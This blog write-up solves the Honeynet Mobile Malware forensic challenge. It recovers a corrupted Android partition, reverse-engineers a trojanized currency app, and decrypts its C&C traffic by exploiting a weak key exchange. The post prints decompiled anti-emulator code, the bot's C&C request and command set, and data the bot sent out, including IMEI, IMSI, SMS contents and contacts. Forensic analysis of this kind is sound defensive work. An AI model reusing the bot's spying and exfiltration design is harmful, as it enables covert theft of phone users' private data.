Solving Honynet's Mobile Malware Challenge

Sun 01 May 2011 by trance

Last month, Honeynet members released their last forensics challenge, entitled Mobile Malware. The goal was to analyze a malware installed on a smartphone. The ESEC pentest team won this challenge; our submission is available here. In the meanwhile, this post summarizes our findings as well as the methodology we used to reverse the malware.

Phone details

In this challenge, two files were provided:

  • data.bin: corrupted /data partition of the phone
  • traffic.pcap: traffic capture of the malware communications

Since we don't have details about the phone brand, name and version, we can first have a look at the pcap file and search for User-Agent HTTP headers:

# strings traffic.pcap | grep User-Agent | sort | uniq
User-Agent: Android/1.0 (lgp970 FRG83G)
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
User-Agent: Dalvik/1.2.0 (Linux; U; Android 2.2.2; LG-P970 Build/FRG83G)
User-Agent: Debian APT-HTTP/1.3 (0.8.3ubuntu7)
User-Agent: GoogleMobile/1.0 (lgp970 FRG83G); gzip
User-Agent: JAVACLIENT
User-Agent: Microsoft BITS/6.7
User-Agent: Microsoft-CryptoAPI/5.131.2600.5512
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32; jinstall)
User-Agent: Mozilla/5.0 (Linux; U; Android 2.2.2; fr-fr; LG-P970-Orange Build/FRG83G) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile
Safari/533.1 MMS/LG-Android-MMS-V1.0/1.2
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 ( .NET CLR 3.5.30729)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10
User-Agent: Python-urllib/2.6
User-Agent: jupdate

We can see there are different machine profiles, among which one is an Android 2.2.2 running on a LG Optimus Black P970 (Google is our friend).

Extracting the malware

Since the challenged is entitled "Movile Malware", we can infer that a malicious Android application (APK files) has been installed on the phone. Most of them are located in the /data/app folder of the phone. Let's first try to mount the partition.

# file data.bin
data.bin: Linux rev 0.0 ext2 filesystem data (mounted or unclean), UUID=badcafee-dead-beef-0000-000000000000

The filesystem seems to be EXT2. We can try to mount it:

# mount -t ext2 data.bin -o loop data
mount: Stale NFS file handle

The mount command fails. Let's see why:

# fsck.ext2 data.bin
e2fsck 1.41.11 (14-Mar-2010)
fsck.ext2: Group descriptors look bad... trying backup blocks...
fsck.ext2: A block group is missing an inode table while checking ext3 journal for data.bin

It seems corrupted. We try to repair its superblock using mke2fs :

# mke2fs -S data.bin
mke2fs 1.41.11 (14-Mar-2010)
data.bin is not a block special device.
Proceed anyway? (y,n) y
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
Stride=0 blocks, Stripe width=0 blocks
72576 inodes, 290272 blocks
14513 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=297795584
9 block groups
32768 blocks per group, 32768 fragments per group
8064 inodes per group
Superblock backups stored on blocks:
 32768, 98304, 163840, 229376

Writing superblocks and filesystem accounting information: done
This filesystem will be automatically checked every 29 mounts or
180 days, whichever comes first.  Use tune2fs -c or -i to override.

We can now mount it:

# mount -t ext2 data.bin data/ -o loop

We can see that there are still a lot of errors on the filesystem:

# ls
ls: cannot access dontpanic: Input/output error
ls: cannot access misc: Input/output error
ls: cannot access local: Input/output error
ls: cannot access data: Input/output error
ls: cannot access app-private: Input/output error
ls: cannot access property: Input/output error
ls: cannot access disk: Input/output error
ls: cannot access dalvik-cache: Input/output error
ls: cannot access xt9: Input/output error
ls: cannot access gps: Input/output error
ls: cannot access cache: Input/output error
ls: cannot access fota: Input/output error
ls: cannot access hidden_reset: Input/output error
ls: cannot access lgmtp: Input/output error
ls: cannot access adbpmms: Input/output error
ls: cannot access system: Input/output error
ls: cannot access backup: Input/output error
ls: cannot access tombstones: Input/output error
ls: cannot access anr: Input/output error
adbpmms      backup        data       gps           local       pcsync.txt  tombstones
anr          cache         disk       hidden_reset  logger      property    xt9
app          cal.bin       dontpanic  lgdrm         lost+found  rtcTest
app-private  dalvik-cache  fota       lgmtp         misc        system

However, we can grab the installed applications that reside under app/:

# ls -lh app
total 54M
-rw-rr 1 postgres postgres 2.0M 2011-07-24 22:07 com.adobe.reader-1.apk
-rw-rr 1 postgres postgres 1.9M 2011-06-20 13:37 com.android.vending-1.apk
-rw-rr 1 postgres postgres  43K 2011-07-27 23:07 com.fc9.currencyguide-1.apk
-rw-rr 1 postgres postgres 327K 2011-07-24 22:06 com.google.android.apps.finance-1.apk
-rw-rr 1 postgres postgres 7.0M 2011-07-24 01:24 com.google.android.apps.maps-1.apk
-rw-rr 1 postgres postgres 2.1M 2011-07-24 01:21 com.google.android.stardroid-1.apk
-rw-rr 1 postgres postgres 8.3M 2011-07-24 01:18 com.google.earth-1.apk
-rw-rr 1 postgres postgres  13M 2011-07-24 01:20 com.opera.browser-1.apk
-rw-rr 1 postgres postgres  19M 2011-07-24 22:01 com.rovio.angrybirds-1.apk
-rw-rr 1 postgres postgres 742K 2011-07-24 22:05 net.xelnaga.exchanger-1.apk

The third one, com.fc9.currencyguide-1.apk, seems malicious. We can infer that fc9 means "Forensic Challenge 9". Let's retrieve this APK file for an analysis.

Permissions

APK files are just ZIP files embedding both code and ressources of the application. A typical analysis of malicious app usually starts with a permission analysis. Indeed, Android requires each app to declares the permissions that it will use. Permissions of an APK can easily be obtained using apktool, which is not only able to decompile the Dalvik bytecode of the application, but also to retrieve the Manifest.xml file that describes the required permissions for using the application:

<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.VIBRATE" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-feature android:name="android.hardware.camera" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.READ_SMS" />

A lot of potentially dangerous system permissions are required by the app:

  • READ_PHONE_STATE: is required to retrieve the phone IMSI and IMEI
  • RECEIVE_BOOT_COMPLETED: necessary for being able to start a service automatically at startup
  • ACCES_COARSE_LOCATION and ACCESS_FINE_LOCATION: used to locate the phone
  • CALL_PHONE, SEND_SMS, READ_CONTACTS, RECEIVE_SMS, READ_SMS: pretty self-explanatory
  • INTERNET: used with the previous permissions, it can be a source of information leak (e.g. sending all your contacts and SMS remotely)

Those permissions are typical for malwares.

Using Androguard

We also can use Androguard in order to find method calls requiring permissions (thanks Anthony Desnos for the patch!):

  1. ./androlyze.py -i com.fc9.currencyguide-1.apk -x
PERM :  ACCESS_WIFI_STATE
    Lcom/fc9/currencyguide/Internet_Conn; IsWIFIAvailabe ()Z (@IsWIFIAvailabe-BB@0x0-0x4)  ---> Landroid/net/wifi/WifiManager; isWifiEnabled ()Z
    Lcom/fc9/currencyguide/Internet_Conn; IsWIFIAvailabe ()Z (@IsWIFIAvailabe-BB@0x10-0x14)  ---> Landroid/net/wifi/WifiManager; getWifiState ()I
    Lcom/fc9/currencyguide/Internet_Conn; IsWIFIAvailabe ()Z (@IsWIFIAvailabe-BB@0x22-0x26)  ---> Landroid/net/wifi/WifiManager; getConnectionInfo ()Landroid/net/wifi/WifiInfo;
PERM :  INTERNET
    Lcom/fc9/currencyguide/Internet_Conn; TestConnection (Ljava/lang/String;)Z (@TestConnection-BB@0x28-0x28)  ---> Ljava/net/URL; openStream ()Ljava/io/InputStream;
    Lcom/fc9/currencyguide/Rate_Parser; StartParser (Ljava/lang/String;)Z (@StartParser-BB@0x14-0x1e)  ---> Ljava/net/URL; openStream ()Ljava/io/InputStream;
    Lcom/fc9/currencyguide/daemon/f/a; <init> ()V (@<init>-BB@0x0-0xc)  ---> Lorg/apache/http/impl/client/DefaultHttpClient; <init> ()V
PERM :  READ_CONTACTS
    Lcom/fc9/currencyguide/daemon/c/i; b ()V (@b-BB@0xd4-0xd4)  ---> Landroid/provider/ContactsContract$CommonDataKinds$Phone; CONTENT_URI Landroid/net/Uri;
PERM :  READ_PHONE_STATE
    Lcom/fc9/currencyguide/daemon/b; <init> (Landroid/content/Context;)V (@<init>-BB@0x0-0x26)  ---> Landroid/telephony/TelephonyManager; getDeviceId ()Ljava/lang/String;
    Lcom/fc9/currencyguide/daemon/b; <init> (Landroid/content/Context;)V (@<init>-BB@0x0-0x32)  ---> Landroid/telephony/TelephonyManager; getSubscriberId ()Ljava/lang/String;
PERM :  SEND_SMS
    Lcom/fc9/currencyguide/daemon/c/j; b ()V (@b-BB@0x0-0x2)  ---> Landroid/telephony/SmsManager; getDefault ()Landroid/telephony/SmsManager;
    Lcom/fc9/currencyguide/daemon/c/j; b ()V (@b-BB@0x0-0x16)  ---> Landroid/telephony/SmsManager; sendTextMessage (Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V
PERM :  VIBRATE
    Lcom/fc9/currencyguide/daemon/c/g; b ()V (@b-BB@0x18-0x38)  ---> Landroid/os/Vibrator; vibrate (J)V

It allows us to directly find in which classes and methods are the potential malicious actions. Note that Androguard now uses android-permissions.org permission map, which seems to be pretty accurate.

Decompiling the malicious APK

This app seems based on Currency Guide, which can be found on the Android Market. The application is not detected by any of the 43 antiviruses on VirusTotal.

Android applications are written in Java and rely on Google's Dalvik virtual machine. We can use Dex2jar in order to convert the application into a JAR file, which is easier to reverse. Then we can use JD-GUI to decompile it and browse its source code. Here is a snippet of the beginning of the About_Dialog class:

static
{
    String[] arrayOfString = new String[4];
    arrayOfString[0] = "<b>Currency Guide</b>";
    arrayOfString[1] = "The Honeynet Project";
    arrayOfString[2] = "Android application build for";
    arrayOfString[3] = "Forensic Challenge 9";
    about_string = arrayOfString;
}

This confirms the fact that this application was made by Honeynet. The presence of a "daemon" package within the app draws our attention:

This daemon package implements the malware features. We can see that the names of all its sub-packages, as well as methods and class names, have been obfuscated, probably using a tool like Proguard.

Looking for malicious APIs

JD-GUI enables us to export the decompiled Java code into .java files. We can now use grep to look for potential dangerous API. We can have a look at Intents, that are a way to call specific functions of Android core and retrieve data.

# grep -rin intent . | grep "\""
./c/a.java:33:    Intent localIntent3 = localIntent1.setAction("android.intent.action.VIEW");
./c/a.java:34:    Intent localIntent4 = localIntent1.addCategory("android.intent.category.BROWSABLE");
./c/b.java:30:      Intent localIntent1 = new Intent("android.intent.action.CALL", localUri);
./c/h.java:26:    IntentFilter localIntentFilter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");

Malicious intents are those that could violate the user's privacy (access his personal data), or steal money from him (by calling or sending SMS to premium rate numbers). This snipped shows that somewhere in its code, the malware starts the browser, dial a number, and access SMS.

Let's focus on SMS and contatct-related APIs:

# grep -rin sms .
./c/c.java:26:    Uri localUri = Uri.parse("content://sms/");
./c/h.java:26:    IntentFilter localIntentFilter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
./c/j.java:4:import android.telephony.SmsManager;
./c/j.java:29:    SmsManager localSmsManager = SmsManager.getDefault();
./c/j.java:34:    localSmsManager.sendTextMessage(str1, null, str2, localPendingIntent1, localPendingIntent2);
./R.java:7:import android.telephony.SmsMessage;
./R.java:29:        SmsMessage localSmsMessage = SmsMessage.createFromPdu((byte)arrayOfObjecti);
./R.java:32:        String str5 = localSmsMessage.getOriginatingAddress();
./R.java:34:        String str6 = localSmsMessage.getMessageBody();

# grep -rin contacts .
./c/i.java:7:import android.provider.ContactsContract.CommonDataKinds.Phone;
./c/i.java:8:import android.provider.ContactsContract.Contacts;
./c/i.java:30:    Uri localUri1 = ContactsContract.Contacts.CONTENT_URI;
./c/i.java:63:            Uri localUri2 = ContactsContract.CommonDataKinds.Phone.CONTENT_URI;

The malware also accesses the user's contacts and SMS.

Cryptography related APIs can be considered as suspicious:

# grep -rin crypto .
./d/a.java:3:import javax.crypto.spec.DESKeySpec;
./e/a.java:4:import javax.crypto.Cipher;
./e/a.java:5:import javax.crypto.NoSuchPaddingException;
./e/a.java:6:import javax.crypto.SecretKeyFactory;
./g/a.java:9:import javax.crypto.Cipher;
./g/a.java:10:import javax.crypto.SecretKey;
./g/a.java:11:import javax.crypto.SecretKeyFactory;

The DES algorithm seems to be used by the malware.

A glance at the PCAP file

As we saw during the firstpart, the PCAP file contains traffic from different machines, including the targetted phone. We can quickly isolate its traffic by applying this Wireshark filter:

::
ip.addr==172.16.2.101

The resulting capture contains mainly HTTP and HTTPS traffics. However, by examining the HTTPS traffic, we can see that it is indeed HTTP on TCP port 443 (obfuscation). The first request is:

::
POST / HTTP/1.1 Content-Length: 145 Content-Type: application/x-www-form-urlencoded Host: faeacdeadbeefada.zonbi.org:443 Connection: Keep-Alive User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) Expect: 100-Continue p=00EABBE22F3A27C63780C932C76B351199&g=00B7C0F36DF96306CC01FA6BE403E9A000&x=678325046C23AA8838ACD869B29CBF50&n=00ED706CC98EB0CAC407D020A1E91CC797

The faeacdeadbeefada.zonbi.org host appears to be the C&C server. Although the 443 port is now closed, the IP address (173.255.253.196) is still up. A simple whois command shows that it belong to Linode, located in New Jersey, United States.

In order to view this traffic as HTTP, we can use Wireshark's Decode As option, and select HTTP.

ll communications between both side seem to be encrypted. Except from the first exchange, they all look like this:

::
data=B16D99BEC599F...

Decrypting the communications

More details about crypto algorithms used by the malware can be found by manually browsing the decompiled source. Here we skip the detailed analysis, since it can be found in our report (questions 6 to 9), and show only our findings.

The malware uses the DES algorithm in two ways:

  • For storing internal strings, such as the Command & Control server URL. Those are encrypted with a key computed from the SHA-1 digest of the phone IMSI. This key is hardcoded within the malware;
  • For communicating with the C&C server. All communications are encrypted with a key negotiated using a Diffie-Hellman key exchange at startup.

Most of the cryptographic operations - keys initialization, encryption and decryption - are performed in the daemon.g package.

We can point out that since some strings are encrypted using the phone IMSI, the malware is specific to one device only, since this number resides within the SIM card of the phone. If the app is copied to another phone, it will fail initializing because it will be unable to decrypt the encrypted strings. We assume that the authors of the challenge did that on purpose in order to prevent any malicious use of the app in the wild.

Since we did not have the IMSI of the phone at first, we could not decrypt those strings. We had first to decrypt the communications between the malware and C&C server, hoping that the IMSI would be leaked. In order to decrypt those communications, we tried to find a way to retrieve the key negotiated during the Diffie-Hellman key exchange. This asymmetric algorithm relies on the discrete logarithm problem and works usually as follows:

  1. The client generate 3 random numbers G, N and P (which is prime);
  2. He computes X = G ^ N mod P;
  3. P is then sent to the server, which sends back a fourth number, Y;
  4. The client computes K = Y ^ N mod P;
  5. K is then used as the key for the next communications.

However, the Diffie-Hellman key exchange implemented in the malware is weak: the malware's exponent (N) is constant instead of being random:

::
N = C = 0x640963485269741EF69AE45D69F23AA9

Thus, we can easily deduce the key K by computing K = Y ^ N mod P using a simple Python script:

if b == 0 :
    ret = 1
elif b%2 :
    ret = a * modExp(a,b-1,m)
else :
    ret = modExp(a,b//2,m)
    ret *= ret

return ret%m

# All of these numbers can be found in the PCAP file
p=int("00EABBE22F3A27C63780C932C76B351199", 16)
c=int("640963485269741EF69AE45D69F23AA9", 16)
y=int("9915D4E8B2F342BEFC3E70C352D78F49", 16)

print "%x" % modExp(y, c, p)

The result is:

::
17355c6874cba653c4c9973a45c7007d

The malware uses only the last 8 bytes of this result (c4c9973a45c7007d) since DES requires only a 8-byte key (only 56 bits are significant, the other 8 bits are for parity). This key is used to encrypt and decrypt ingoing and outgoing traffic (located within the "data=" HTTP POST field).

The traffic was encrypted using the Java cryptography API; it is safer to use the same one for decrypting. We first convert the DES key into a Java-style byte array using two Python lines;

>>> hexstring2list = lambda x: [int(x[2*i:2*i+2],16) for i in range(len(x)/2)]
>>> ",".join(["(byte)" + str(i) for i in hexstring2list("c4c9973a45c7007d")])
'(byte)196,(byte)201,(byte)151,(byte)58,(byte)69,(byte)199,(byte)0,(byte)125'

The key is then copied into the following Java function (within an empty Java project):

public void decrypt_all() {

    for(int i = 0; i< extracted_ciphertexts1.length; i++) {
        try {
            SecretKeyFactory localSecretKeyFactory = SecretKeyFactory.getInstance("DES");

            SecretKey localSecretKey = localSecretKeyFactory.generateSecret(
            new DESKeySpec(new byte[]{(byte)196,(byte)201,(byte)151,(byte)58,(byte)69,(byte)199,(byte)0,(byte)125}));

            Cipher localCipher = Cipher.getInstance("DES");
            localCipher.init(2, localSecretKey);
            String plaintext = new String(localCipher.doFinal(extracted_ciphertexts1i));
            Log.d("TestAPK", "i=" + i + " => " + plaintext);
        } catch (Exception e) {
        }
    }
}
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<rootElem>
    <cmd>getsms</cmd>
    <params>/01lO1110llOO.php</params>
</rootElem>

<?xml version="1.0" encoding="utf-8" standalone="no"?>
<rootElem>
    <cmd>smsspy</cmd>
    <params></params>
</rootElem>

<?xml version="1.0" encoding="utf-8" standalone="no"?>
<rootElem>
    <cmd>getcontacts</cmd>
    <params>/0S550SSSO5.php</params>
</rootElem>

<?xml version="1.0" encoding="utf-8" standalone="no"?>
<rootElem>
    <cmd>call</cmd>
    <params>('+33645324806',)</params>
</rootElem>

<?xml version="1.0" encoding="utf-8" standalone="no"?>
<rootElem>
    <cmd>sendsms</cmd>
    <params>+33645324806;Bot can send SMS !</params>
</rootElem>

<?xml version="1.0" encoding="utf-8" standalone="no"?>
<rootElem>
    <cmd>vibrate</cmd>
    <params>1000</params>
</rootElem>

And here is an extract of the communications from the bot to back the C&C:

::

imei=356772040481677&imsi=208013002954000&opname=Orange F&opcode=20801&opiso=fr

21080=Votre mot de passe est strictement confidentiel : conservez-le precieusement et ne le communiquez pas a un tiers. Votre mot de passe est 3B6AT4&+33666186296=Le 0645324806 remporte 1 chaque en euro!Composez le 0899650923 pr le retirer immediatement. Jeu sous Controle d huissier (1E35/ap+0E34/mn)&+33644066241=VocalMessenger: Vous avez recu 1 nouveau message vocal a 11:59. Pour le consulter, composez le 0899230625 Code confidentiel: 1701 (1e35+0e34-noSmsEnvStop)&20904=Mobicarte - Compte Principal. Attention, il vous reste moins d'une journee pour utiliser votre credit de 3.93 EUR.&20904=Mobicarte - Compte Principal. Attention, il ne vous reste plus qu'une journee pour utiliser votre credit de 4.05 EUR.&20904=Mobicarte - Compte Principal. Attention, il vous reste moins d'une semaine pour utiliser votre credit de 4.17 EUR.&20904=Mobicarte - Compte Principal. Attention, il ne vous reste plus qu'une semaine pour utiliser votre credit de 4.29 EUR.&20904=mobicarte: votre ligne est identifiee, vous pouvez maintenant choisir votre Bonus et recharger votre compte au #123# (appel gratuit).&20904=Mobicarte: Votre numero de telephone est le 0645324806, valide jusqu'au 05/01/12.&20904=Bienvenue chez Orange,votre numero mobicarte est le 0645324806. Vous beneficiez d'un credit de 5E de communications valable jusqu'au 05/01/12 en Fce metro.&

Niobe=5553&Agent Smith=5551&Merovingian=5559&Trinity=5558&Seraph=5557&Neo=5555&Morpheus=5554&

We can see that the C&C server uses XML to send the orders to the bot. The IMSI, IMEI, phone number, sms, password and contacts of the user were leaked by the bot and sent back to the C&C.

Analyzing the bot behaviour

The decrypted communications between the bot and C&C server give a good idea of the malware's features. However, browsing the source provide a more accurate view of its internals and behaviour, since some of its features may not have been called during the traffic capture.

Analysing Java code is pretty easy, but can be slowed down because of code obfuscation. More, the malware implements anti-emulator techniques that prevent it to run within the Android emulator. The detection code resides in the daemon.e.b class and is called in BootReceiver and FC9:

public static Boolean a()
{
    Boolean localBoolean = Boolean.valueOf(0);
    if (a.a(Build.DEVICE).equalsIgnoreCase("46a808cfd5beafa5e60aefee867bf92025dc2849"))
        localBoolean = Boolean.valueOf(1);
    while (true)
    {
        return localBoolean;

         //Similar test on Brand.MODEL, Brand.PRODUCT and Brand.BRAND
        if (a.a(Build.MODEL).equalsIgnoreCase("5a374dcd2e5eb762b527af3a5bab6072a4d24493"))
        {
            localBoolean = Boolean.valueOf(1);
            continue;
        }
        if (!a.a(Build.PRODUCT).equalsIgnoreCase("5a374dcd2e5eb762b527af3a5bab6072a4d24493"))
            continue;
        localBoolean = Boolean.valueOf(1);
    }
}

public static Boolean a(String paramString)
{
    Boolean localBoolean = Boolean.valueOf(0);
    return Boolean.valueOf(paramString.equalsIgnoreCase("63B252F6FAF4167F8BCAEA57D7D47A326B7354D2"));
}

As we can see, JDGUI's output Java code is not always correct, especially within loops and try/catch blocks. Anyway, we can guess that this code implements some signature matching. It computes the SHA-1 digest of the phone brand, product, model and IMSI, compares them to hardcoded strings specific to the emulator ("sdk" and "generic") or to the phone (its IMSI: "208013002954000"), and exits if it detects that it is not running on the right phone.

We could patch the application using baksmali and smali so that those tests never fail, but since the C&C server is down, it would not work. Therefore, we chosed to staticly analyze the obfuscated Java code, and infer the role of each class and function. Here are our findings:

  1. The BootReceiver.onReceive() method is called each time the phone boots, and starts the CCcomService.onHandleIntent() method;

  2. This method is also called each time the user wants to start the application, using the FC9 class, which is an invisible Activity;

  3. The CCcomService class implements the main algorithm of the bot, which consists into state transitions. The bot is actually a finite state machine with 6 states whose name are pretty self-explanatory;
    1. INIT
    2. NEGOCIATING
    3. REGISTERING
    4. REQUESTING
    5. PARSING
    6. EXECUTING
  4. The main loop occurs between the last three states, during which the bot requests orders from the C&C server, executes them, and sends back the result to the server. The states and transitions can be represented this way (all strings can be found in clear-text in the decompiled Dalvik code)

  5. During those states, the bot performs the desired action. Each action is located in the daemon.c package, and inherits from the f superclass. Here are the available actions:

    1. goto: Start the browser and open a given webpage;
    2. call: Dial a given number;
    3. getcontacts: Send the contacts to the C&C server;
    4. vibrate: Vibrate for a given number of miliseconds;
    5. getsms: Read the SMS stored on the phone, and sends them to the C&C server;
    6. sendsms: Sends an SMS to a given number (and with a given body);
    7. smsspy: Send every SMS received to the C&C server in real time by registering a BroadcastReceiver;
    8. smsunspy: Stop sending SMS in real time by unregister the broadcast receiver.

The bot relies on Apache HTTP Client API as well as SAXParser in order to parse the C&C server orders and send back the results.

Conclusion

This forensics challenge was a very interesting way of getting familiar with reverse-engineering Android applications. It consisted in various phases: corrupted file system recovery, network analysis, mobile malware reverse-engineering. The presence of cryptography and other anti-emulator tricks slowed down the analysis. We were able to successfully decrypt all communications by exploiting a weakness within the implementation of the Diffie-Hellman key exchange occurring at the malware startup. It was a good example showing the typical behavior and features of a bot driven by a Command & Control server, able to spy on the user and steal his personal data.